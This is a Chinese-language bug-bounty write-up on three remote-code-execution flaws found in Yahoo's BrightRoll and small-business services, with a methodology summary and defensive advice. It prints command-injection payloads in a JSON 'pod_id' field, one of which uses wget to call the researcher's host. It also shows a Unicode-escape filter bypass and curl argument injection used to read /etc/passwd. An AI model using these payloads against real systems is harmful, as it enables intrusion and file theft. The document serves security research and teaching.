挖洞经验 | 看我如何发现雅虎网站的3个RCE漏洞
字数 1318 2025-08-18 11:37:16
雅虎网站RCE漏洞挖掘与分析教学文档
1. 漏洞背景
雅虎(Yahoo)漏洞赏金项目中发现的3个RCE漏洞,涉及雅虎的BrightRoll应用和中小企业服务。BrightRoll是雅虎旗下的独立视频广告平台,2014年以6.4亿美元被雅虎收购。
2. 第一个RCE漏洞分析
2.1 发现过程
- 使用Google、Aquatone等工具进行前期踩点
- Aquatone发现一个有趣的端口页面,显示RabbitMQ消息队列管理面板
- 点击名为
s3_adbox_setup的队列进入详情页面
2.2 RabbitMQ简介
RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件,用Erlang语言编写,支持群集和故障转移。
2.3 漏洞利用步骤
- 观察消息队列格式,发现JSON结构:
{
"sub_bound": true,
"hostname": "REDACTED",
"timestamp": "2017/07/01/1649",
"s3_key": "REDACTED",
"nop": false,
"providers": ["Google", "AWS"],
"version": 3,
"checkin_queue": "REDACTED",
"type": "REDACTED",
"interval_id": "REDACTED",
"pod_id": "22"
}
- 构造恶意Payload,在
pod_id参数注入命令:
{
...其他字段...,
"pod_id": "22|wget http://myhost.name"
}
- 成功实现远程命令执行
3. 第二个RCE漏洞分析
3.1 发现过程
在另一台雅虎服务器发现相同应用,但服务器对|字符进行了过滤。
3.2 绕过技术
使用Unicode编码和URL编码绕过过滤:
{
...其他字段...,
"pod_id": "23\u000awget\u0020http://myhost.name"
}
其中:
\u000a是换行符的Unicode编码\u0020是空格的Unicode编码
4. 第三个RCE漏洞分析
4.1 漏洞背景
与雅虎中小企业服务(yahoo small business)相关,涉及邮件模板功能。
4.2 发现过程
- 访问邮件模板页面,AJAX发送请求获取产品图片路径
- 发现
objinfo_data.php脚本用于重置产品图片大小 - 产品创建请求中包含图片URL但不含二进制数据
4.3 漏洞利用步骤
- 编辑产品页,将图片URL指向测试主机
- 使用产品ID向
objinfo_data.php发起请求 - Netcat捕获请求,发现User-Agent为Curl
- 尝试命令注入:
- 使用
-A something参数注入User-Agent - 使用
-T标记读取系统文件
- 使用
- 成功读取
/etc/passwd
5. 漏洞挖掘方法论总结
- 信息收集:使用Google、Aquatone等工具进行前期踩点
- 服务识别:识别开放端口运行的服务(RabbitMQ等)
- 功能分析:深入分析服务功能和工作原理
- 输入点探测:寻找可能的输入点(如JSON字段、URL参数)
- 过滤绕过:尝试各种编码和特殊字符绕过过滤
- SSRF利用:将内部服务暴露为攻击面
- 命令注入:利用系统命令执行功能实现RCE
6. 防御建议
- 输入验证:对所有输入进行严格验证和过滤
- 编码输出:对输出进行适当的编码处理
- 最小权限:服务运行在最小必要权限下
- 命令执行限制:避免直接使用用户输入执行系统命令
- 日志监控:监控异常请求和命令执行
- 安全编码:使用安全的API替代系统命令调用
7. 工具推荐
- 信息收集:Google dorks, Aquatone
- 代理工具:Burp Suite, OWASP ZAP
- 网络工具:Netcat, Curl
- 编码工具:CyberChef
- 漏洞验证:自定义脚本
通过以上详细的漏洞分析和挖掘方法,安全研究人员可以更好地理解和发现类似的安全漏洞。